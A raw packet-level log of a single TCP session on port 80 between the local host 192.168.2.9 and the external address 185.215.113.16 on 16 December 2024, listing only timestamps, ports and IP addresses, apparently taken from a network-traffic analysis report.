Dec 16, 2024 10:38:26.983335018 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.983756065 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.983820915 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.983858109 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.983988047 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.984807968 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.984867096 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.984884977 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.984941006 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.985884905 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.985991955 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.986010075 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.986208916 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.986953974 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.987065077 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.987090111 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.987181902 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.988075972 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.988118887 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.988143921 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.988173008 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.989113092 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.989200115 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.989283085 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.989402056 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.990175962 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.990259886 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.990277052 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.990330935 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.991276979 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.991331100 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.991390944 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.991504908 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.992415905 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.992531061 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.992593050 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.992593050 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.993419886 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.993473053 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.993535042 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.993659019 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.994524956 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.994626999 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.994923115 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.994923115 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.995558977 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.995594025 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.996494055 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.996494055 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.996675014 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.996798992 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.996836901 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.996836901 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.997718096 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.997838020 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.997900963 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.998791933 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.998929977 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:26.998982906 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:26.999861002 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.000123978 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.000406027 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.000998020 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.001012087 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.001096010 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.001096010 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.001991987 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.002110958 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.002157927 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.003087044 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.003216982 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.003335953 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.004142046 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.004245043 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.004307032 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.140574932 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.140661001 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.140702963 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.140747070 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.141052008 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.141113997 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.141138077 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.141228914 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.142113924 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.142208099 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.142358065 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.142421961 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.143199921 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.143327951 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.143351078 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.143449068 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.144434929 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.144521952 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.144567013 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.144567013 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.145371914 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.145482063 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.145514965 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.145564079 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.146420002 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.146492958 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.146529913 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.146759987 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.147578955 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.147631884 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.147697926 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.147772074 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.148562908 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.148657084 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.148706913 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.148802042 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.149678946 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.149739981 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.149745941 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.149866104 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.150741100 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.150918961 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.151055098 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.151854992 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.151951075 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.152039051 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.152873993 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.152972937 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.153008938 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.153112888 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.153978109 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.154036045 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.154038906 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.154088974 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.155025959 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.155081987 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.155081987 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.155200958 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.156158924 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.156213999 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.156253099 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.156253099 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.157219887 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.157277107 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.157310963 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.157372952 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.158322096 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.158483982 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.158499002 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.158535957 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.159352064 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.159424067 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.159439087 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.159492016 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.160476923 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.160533905 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.160543919 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.160604000 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.161509037 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.161578894 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.161612988 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.161612988 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.162539005 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.162617922 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.162652969 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.162765026 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.163671970 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.163764954 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.164088964 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.164225101 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.164695978 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.164741993 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.164753914 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.164799929 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.165772915 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.165966034 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.166023016 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.166126013 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.166829109 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.166896105 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.166937113 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.166975975 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.167963028 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.168000937 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.168005943 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.168173075 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.169163942 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.169205904 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.169281960 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.169365883 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.170351028 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.170401096 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.170468092 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.171328068 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.171403885 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.171478033 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.172306061 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.172429085 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.172482967 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.173321962 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.173363924 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.173459053 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.173986912 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.174432993 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.174514055 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.174535036 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.174567938 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.175460100 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.175510883 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.175616026 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.175668955 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.176595926 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.176655054 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.176692009 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.176692009 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.177584887 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.177714109 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.177752972 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.177752972 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.178684950 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.178859949 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.178987026 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.179832935 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.179874897 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.179950953 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.179951906 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.180867910 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.180907011 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.180944920 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.181921005 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.181961060 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.181961060 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.182029963 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.182143927 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.183079004 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.183120966 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.183140039 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.184089899 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.184175014 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.184190989 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.185132980 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.185250044 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.185281038 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.185327053 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.186230898 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.186292887 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.186435938 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.187258959 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.187330961 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.187365055 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.188430071 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.188492060 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.188695908 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.189429998 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.189539909 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.189539909 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.189953089 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.190529108 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.190649033 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.190709114 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.191611052 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.191698074 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.191884041 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.192842007 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.192889929 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.193034887 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.193972111 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.194013119 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.194293022 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.194293022 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.194293022 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.195045948 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.195151091 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.195161104 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.195302010 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.196460009 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.196536064 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.196645975 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.197784901 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.197947025 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.332588911 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.332633018 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.332798004 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.332798004 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.333067894 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.333123922 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.333131075 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.333167076 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.334191084 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.334299088 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.334304094 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.335192919 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.335233927 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.335305929 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.335345984 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.336268902 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.336301088 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.336371899 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.336390972 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.336469889 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.337390900 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.337454081 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.337476015 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.337560892 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.338439941 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.338519096 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.338543892 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.339334011 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.339508057 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.339550972 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.339627981 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.339690924 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.340761900 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.340847969 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.340889931 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.340954065 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.341835022 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.341907978 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.341912985 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.342679024 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.342739105 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.342792034 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.342842102 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.343332052 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.343808889 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.343856096 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.343991041 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.344891071 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.344893932 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.344980001 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.345004082 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.345412016 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.345992088 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.346045017 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.346056938 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.346493959 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.347028017 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.347081900 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.347218037 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.347337961 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.348189116 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.348259926 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.348267078 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:27.349196911 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:27.349255085 CET	49935	80	192.168.2.9	185.215.113.16
